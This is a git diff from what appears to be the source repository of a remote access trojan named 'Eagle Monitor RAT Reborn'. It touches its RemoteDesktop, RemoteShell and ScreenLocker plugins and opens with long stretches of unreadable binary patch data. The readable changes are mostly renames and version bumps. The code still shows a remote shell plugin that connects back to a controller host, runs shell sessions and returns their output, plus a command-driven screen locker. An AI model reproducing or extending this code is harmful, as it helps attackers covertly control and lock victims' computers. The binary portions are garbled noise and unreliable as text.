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 LQCyRCp{wH`rew;b delta 102 zcmeBCyvEDQ#>m0IFgcIci``V+E_wq_GGEdA^oBW42fzfz!EMM8?EJg<=CZM9v z%vF;^Sz9LWW$T(8$<;X7kEfn3MVPTj;O6AZJgwpoCeSnnMy@gwJp(;s17kx=1^_9Q B9Y6p8 diff --git a/Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.csproj.CoreCompileInputs.cache index 92eace91..2f451a24 100644 --- a/Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.csproj.CoreCompileInputs.cache +++ b/Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.csproj.CoreCompileInputs.cache @@ -1 +1 @@ -e4d553b924e9d3ea2383e695644ad82915d83cf5 +a2e2cbf0cdbe0b606d0a71b913102b4aca64fb6f diff --git a/Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.dll b/Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.dll index 2fffd2f396dab7ee0c73d41c4371d6b1ade50a27..e2f6589166d6e8b65a4f70d2b9a7c8206be14a34 100644 GIT binary patch delta 2032 zcma)-e@s?Y7{|ZQz4tx$$NOGD-~|y7f0QD>62yR9KOmD(oRF!B8c~wD!cZu!Ofbuu zS0FA5Ez;-J8ZkP2^dx@-?eg2%|i7s0lm z2N6=tvD$(SNOx3mhwVXlC}qFEvzA&FV|UrH_{P~IV)0~9G1Kj4Ueo+8r0j^R{1Z6Z z6pM>yH`f@)i#@EtF^WQ!UmT1=k)@cbS#2x(S5p;NF1qX}tYSL~k9*4VsjJq0?QY}y zyW(!)Y)7~(fitGEA2SpW8eMh*`s}@4ELwQSSgi3=5!-|(gc4y#6|ulh<8XlOSnSu8 zF5^lCZq;`dG1WGY1h?_A3>_t(J^z&bsC(6({f|lvDiw_}I(GN48n0E0o|%jctfv@^ zI49K9WMt{!tL|0#du$zfvNo>T-e-qR69?sIajS1$Ey5-riKqCjTgW`)P2=cvD~mb7 zzm4hI)0x7)lWE%J%p6~3xK%dAC(i0|3fT_X70fR+pYhaMp);tcz-f`i+=~ikJ+ngH z0X90Ge~k$D468WV7yoqhOuvMm@quCAU9v7*LyP5!aLdwitB2w-I6<#PnN?@TW9vkv zzNfX8Kp2O#YQ>MvMl%d2UBx6;SX<2mq+}?yab&+Mz^@En&5&cr*=_!-1|8X%Fe}=0FY^Wls!f$>w7i@&iAKwsQK`(!NvZx#x)eo&qeK3tQ7vZ=uV8IvD9Xaqh4z9)2WXRdvlrb zUKLf+MVXe8*wpARrvc8tAGy?P*OP0k6YFS%(PeI+BHGURi|A!$E|If|SM|G+a_M<< z7mYPG`0r3Ldk*m~&xsGHjBP?09kV-W0IJz9&;oIs=c{|Xpm|iYShI}Q-pGLg6!<+f z$vAGF)!Sd98mbEY!X$o2Yp8?|poTnG@kW%O$apAnF{PF$QC5yl_2>IJ{5?7z%3wYr zpBlYn+DaQ#3UavTs0@R8oP|rC(zDU2^&F)5N>^fl{Z_MTKm(SHOS_&dS(KI` zYi0CrJ2&6l-#q8t_MT^*{gJpxefGx|<;#M+y6uJ&PN=kWf_;M+uHA<*Co-g&=b`_mKl4g#F38Sht>`T zNG6w#iB}ulLGfDwkT;`o<&p>M8o*a|Hem6ZcjpYuWI0L6lkcpY#OortBx!wYvrQ}m z0>?w+J%KWzc*Y_x5%WA{_d|;vfp;}qHFJfsbZa@JzFHQO$i~UxtUtY!}#Ssi;i5(~jV*(=H--B&=BIo@DlD{_HC`?kf9G_QoRk z-8{)Xrf{%_)i_KExIHKjCt#ALn63GMt>iyU)!Z!6X(wPM%L#bcQ!>Cc*g5P@VmX30bf1u&4NUyZ zdCyc&wQtJ+`D@xOlmD_$m<1S8sH_qb?QhLOeATa&uvUyF^{m-<2W!`(sJKsig|(45 z)vv9HH>8)+xHTfnn$CX0z2g5eh5rK#RLQOZQ)8B`U}w0Bx!s=2tP{0(n;agheKg!(kFRlq^$fnlVskt5edlF#VWP8xIV7lH z7R%Y0`Gu>U(;Pd;ti>U!H-5tosPXBbWBvv3JlYk^7r7Qui`c%WkEeQ!o1L)OlVuPr`mQK_6*vOGA>XYfDQFY=?3Og@19_?eOdY8&Cpgi%ed uZiu&-@#jZX5|zfgZdl5ToH}Mqs1(;>1Rv6?T~5P;i=GkjD*8Uqo{f!0y diff --git a/Remote Access Tool/Plugins/RemoteShell/ClientHandler.cs b/Remote Access Tool/Plugins/RemoteShell/ClientHandler.cs index 74c408b8..abf63153 100644 --- a/Remote Access Tool/Plugins/RemoteShell/ClientHandler.cs +++ b/Remote Access Tool/Plugins/RemoteShell/ClientHandler.cs @@ -87,7 +87,7 @@ public void EndConnect(IAsyncResult ar) shellHander = new ShellHander(this.isPWS); StartShellSessionPacket startShellSessionPacket = new StartShellSessionPacket(this.isPWS) { - baseIp = this.baseIp, + BaseIp = this.baseIp, HWID = this.HWID }; this.SendPacket(startShellSessionPacket); @@ -170,7 +170,7 @@ public void EndPacketRead(IAsyncResult ar) public void ParsePacket(IPacket packet) { - switch (packet.packetType) + switch (packet.PacketType) { case PacketType.SHELL_COMMAND: NewCommandShellSessionPacket newCommandShellSessionPacket = (NewCommandShellSessionPacket)packet; @@ -203,7 +203,7 @@ private PacketType SendData(IPacket data) header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; - header[4] = (byte)data.packetType; + header[4] = (byte)data.PacketType; lock (socket) { @@ -234,7 +234,7 @@ private PacketType SendData(IPacket data) datalft -= sent; } } - return data.packetType; + return data.PacketType; } catch (Exception) @@ -242,7 +242,7 @@ private PacketType SendData(IPacket data) Connected = false; } } - return data.packetType; + return data.PacketType; } private void SendDataCompleted(IAsyncResult ar) diff --git a/Remote Access Tool/Plugins/RemoteShell/Launch.cs b/Remote Access Tool/Plugins/RemoteShell/Launch.cs index dbc3abcb..5f8471ab 100644 --- a/Remote Access Tool/Plugins/RemoteShell/Launch.cs +++ b/Remote Access Tool/Plugins/RemoteShell/Launch.cs @@ -15,10 +15,10 @@ public static class Launch public static void Main(LoadingAPI loadingAPI) { - switch (loadingAPI.currentPacket.packetType) + switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.SHELL_START: - clientHandler = new ClientHandler(loadingAPI.host, loadingAPI.key, loadingAPI.baseIp, loadingAPI.HWID, ((StartShellSessionPacket)loadingAPI.currentPacket).isPWS); + clientHandler = new ClientHandler(loadingAPI.Host, loadingAPI.Key, loadingAPI.BaseIp, loadingAPI.HWID, ((StartShellSessionPacket)loadingAPI.CurrentPacket).isPWS); clientHandler.ConnectStart(); break; default: diff --git a/Remote Access Tool/Plugins/RemoteShell/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/RemoteShell/Properties/AssemblyInfo.cs index eab748a9..2f007de3 100644 --- a/Remote Access Tool/Plugins/RemoteShell/Properties/AssemblyInfo.cs +++ b/Remote Access Tool/Plugins/RemoteShell/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("3.2.3.0")] -[assembly: AssemblyFileVersion("3.2.3.0")] +[assembly: AssemblyVersion("3.2.4.0")] +[assembly: AssemblyFileVersion("3.2.4.0")] diff --git a/Remote Access Tool/Plugins/RemoteShell/ShellHander.cs b/Remote Access Tool/Plugins/RemoteShell/ShellHander.cs index 1b0f7111..8cad31ec 100644 --- a/Remote Access Tool/Plugins/RemoteShell/ShellHander.cs +++ b/Remote Access Tool/Plugins/RemoteShell/ShellHander.cs @@ -114,7 +114,7 @@ private void SendAndFlushBuffer(ref StringBuilder textBuffer, bool isError) StdOutShellSessionPacket stdOutShellSession = new StdOutShellSessionPacket(toSend) { - baseIp = Launch.clientHandler.baseIp, + BaseIp = Launch.clientHandler.baseIp, HWID = Launch.clientHandler.HWID }; diff --git a/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.AssemblyReference.cache index 335411175d5d7b65bbcf079aac85ad0a674dca51..48cfb0a9b16b35a36359e22bc32f44aeaa7a47ca 100644 GIT binary patch delta 503 zcmcb^cUXp#jggCifq~J{bt0#mTw~|ScNcGQFfuZ71|%kDrm8|3JB;=6qJ~_#h%e*14ZmBl5gxq8m|d1;yHrA3J)nfZB>4HeYL+G@Mplp+Amt(;<@`|P!KulmMVTd)F!k8nfug~$G&i*sbBB+Ujggaqfq~J{Z6c?e9E-{JwMTDpFfuZ71|%kDr8{YFWZ=a+{vGrt0srCwoPVYZ=C#{qn<5An6XIU=HwdAIw*4zS1U}go2x~9q6-sH Uo&#hVSDA^Pfu6B}v7sdc07Gdbm;e9( diff --git a/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.CoreCompileInputs.cache index 10338c4d..77cdfd3c 100644 --- a/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.CoreCompileInputs.cache +++ b/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.CoreCompileInputs.cache @@ -1 +1 @@ -adacf72be1efc607f917813c5e0b11632178f4a1 +ea63fe10f09e3b80c782a888e5ea38029b453d59 diff --git a/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.FileListAbsolute.txt b/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.FileListAbsolute.txt index 4fe480a0..5dec7d31 100644 --- a/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.FileListAbsolute.txt +++ b/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.FileListAbsolute.txt @@ -1,10 +1,8 @@ E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\RemoteShell.dll -E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\RemoteShell.pdb E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteShell\obj\Release\RemoteShell.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteShell\obj\Release\RemoteShell.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteShell\obj\Release\RemoteShell.csproj.CopyComplete E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteShell\obj\Release\RemoteShell.dll -E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteShell\obj\Release\RemoteShell.pdb F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\RemoteShell.dll F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteShell\obj\Release\RemoteShell.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteShell\obj\Release\RemoteShell.csproj.CoreCompileInputs.cache diff --git a/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.dll b/Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.dll index 204d74417a69ca07be0962e1284643e49e14a35b..b06e51308a457e67965dae406c0d648130326d1a 100644 GIT binary patch delta 2241 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 LLG2eZQ0smN<*Ki~ diff --git a/Remote Access Tool/Plugins/ScreenLocker/Launch.cs b/Remote Access Tool/Plugins/ScreenLocker/Launch.cs index fc66d354..5fd9cc6f 100644 --- a/Remote Access Tool/Plugins/ScreenLocker/Launch.cs +++ b/Remote Access Tool/Plugins/ScreenLocker/Launch.cs @@ -13,7 +13,7 @@ public static class Launch { public static void Main(LoadingAPI loadingAPI) { - switch (loadingAPI.currentPacket.packetType) + switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.MISC_SCREENLOCKER_ON: Helpers.StartScreenLocker(); diff --git a/Remote Access Tool/Plugins/ScreenLocker/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/ScreenLocker/Properties/AssemblyInfo.cs index 17ca1379..252d92a6 100644 --- a/Remote Access 